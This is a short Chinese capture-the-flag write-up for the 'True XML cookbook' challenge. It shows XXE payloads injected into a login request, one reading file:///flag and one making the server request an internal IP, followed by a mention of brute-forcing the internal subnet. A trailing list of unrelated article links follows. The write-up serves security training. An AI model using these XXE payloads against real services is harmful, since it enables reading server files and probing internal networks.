True XML cookbook

打开题目

看到登录口

随便输入admin,123456,然后抓包试一下

先按原来那道题的payload进行测试,payload和结果如下:

<?xml version="1.0" ?>

<!DOCTYPE llw [

<!ENTITY file SYSTEM "file:///flag">

]>

<user>

<username>&file;</username>

<password>1</password>

</user>

未成功获取到flag信息,试着探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息

这里获得一个新的地址,尝试下进行连接结果如下:

<?xml version="1.0" ?>

<!DOCTYPE llw [

<!ENTITY file SYSTEM "http://10.244.80.49/">

]>

<user>

<username>&file;</username>

<password>1</password>

</user>

连接失败,那就查询下同网段内存在不存在其他地址,使用bp的爆破模块进行爆破,设置如下:

扫描可得到flag

相关推荐
代码的余温1 小时前
Logback.xml配置详解与实战指南
xml·logback
wen's17 小时前
React Native安卓刘海屏适配终极方案:仅需修改 AndroidManifest.xml!
android·xml·react native
面朝大海,春不暖,花不开2 天前
结构化数据格式解析:JSON 与 XML 的技术应用与实践
xml·json
N维世界2 天前
Mybatis-XML映射文件
xml·java·mybatis
SuperherRo3 天前
Web攻防-XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展
xml·xxe·ssrf·dtd·无回显·文件扩展·oob盲注
资讯第一线3 天前
MSXML 6.0 SP1 x86 x64 (XML解析器) 下载
xml
秋千码途3 天前
小架构step系列08:logback.xml的配置
xml·java·logback
sleepcattt3 天前
Spring中Bean的实例化(xml)
xml·java·spring
旷世奇才李先生3 天前
XML DOM 安装使用教程
xml·前端·chrome
椰椰椰耶4 天前
【MyBatis】XML实现,配置方法和增、删、改、查
xml·oracle·mybatis